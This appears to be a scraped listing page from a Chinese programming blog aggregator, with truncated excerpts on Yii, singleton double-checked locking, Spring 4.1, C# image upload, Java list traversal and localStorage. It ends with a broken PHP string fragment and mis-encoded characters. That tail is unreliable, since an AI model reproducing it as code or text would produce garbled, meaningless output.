    由于YII致力于完美的整合第三方库，它并没有定义任何全局函数。yii中的每一个应用都需要全类别和对象范围。例如，Yii::app()->user;Yii::app()->params['name'];等等。我们可以自行设定全局函数，使得代码看起来更加简洁易用。(原文地址)
我们可以保存在globals.php在protected目录下。然后，在入口脚本index.php的，我们包括在
    

    • 

  • 设计模式之单例模式二（解决无序写入的问题）
come_for_dream
单例模式volatile乱序执行双重检验锁

                    在上篇文章中我们使用了双重检验锁的方式避免懒汉式单例模式下由于多线程造成的实例被多次创建的问题，但是因为由于JVM为了使得处理器内部的运算单元能充分利用，处理器可能会对输入代码进行乱序执行（Out Of Order Execute）优化，处理器会在计算之后将乱序执行的结果进行重组，保证该
    

    • 

  • 程序员从初级到高级的蜕变
gcq511120594
框架工作PHPandroidhtml5

    软件开发是一个奇怪的行业，市场远远供不应求。这是一个已经存在多年的问题，而且随着时间的流逝，愈演愈烈。
我们严重缺乏能够满足需求的人才。这个行业相当年轻。大多数软件项目是失败的。几乎所有的项目都会超出预算。我们解决问题的最佳指导方针可以归结为——“用一些通用方法去解决问题，当然这些方法常常不管用，于是，唯一能做的就是不断地尝试，逐个看看是否奏效”。
现在我们把淫浸代码时间超过3年的开发人员称为
    

    • 

  • Reverse Linked List
hcx2013
list

    Reverse a singly linked list.
 
/**
* Definition for singly-linked list.
* public class ListNode {
* int val;
* ListNode next;
* ListNode(int x) { val = x; }
* }
*/
p
    

    • 

  • Spring4.1新特性——数据库集成测试
jinnianshilongnian
spring 4.1

    目录
Spring4.1新特性——综述
Spring4.1新特性——Spring核心部分及其他
Spring4.1新特性——Spring缓存框架增强
Spring4.1新特性——异步调用和事件机制的异常处理
Spring4.1新特性——数据库集成测试脚本初始化
Spring4.1新特性——Spring MVC增强
Spring4.1新特性——页面自动化测试框架Spring MVC T
    

    • 

  • C# Ajax上传图片同时生成微缩图(附Demo)
liyonghui160com

     
 
1.Ajax无刷新上传图片,详情请阅我的这篇文章。（jquery + c# ashx）
        2.C#位图处理  System.Drawing。
        3.最新demo支持IE7,IE8,Fir
    

    • 

  • Java list三种遍历方法性能比较
pda158
java

    从c/c++语言转向java开发，学习java语言list遍历的三种方法，顺便测试各种遍历方法的性能，测试方法为在ArrayList中插入1千万条记录，然后遍历ArrayList，发现了一个奇怪的现象，测试代码例如以下：
package com.hisense.tiger.list;
import java.util.ArrayList;
import java.util.Iterator;
    

    • 

  • 300个涵盖IT各方面的免费资源（上）——商业与市场篇
shoothao
seo商业与市场IT资源免费资源

    
A.网站模板+logo+服务器主机+发票生成
HTML5 UP:响应式的HTML5和CSS3网站模板。
Bootswatch:免费的Bootstrap主题。
Templated:收集了845个免费的CSS和HTML5网站模板。
Wordpress.org|Wordpress.com:可免费创建你的新网站。
Strikingly:关注领域中免费无限的移动优
    

    • 

  • localStorage、sessionStorage
uule
localStorage

    W3School 例子
 
HTML5 提供了两种在客户端存储数据的新方法：
localStorage - 没有时间限制的数据存储
sessionStorage - 针对一个 session 的数据存储
 
之前，这些都是由 cookie 完成的。但是 cookie 不适合大量数据的存储，因为它们由每个对服务器的请求来传递，这使得 cookie 速度很慢而且效率也不
    

    • 







' . htmlentities($func) . 'Opt
' . htmlentities($value) . '涓嬭浇 / 鍒犻櫎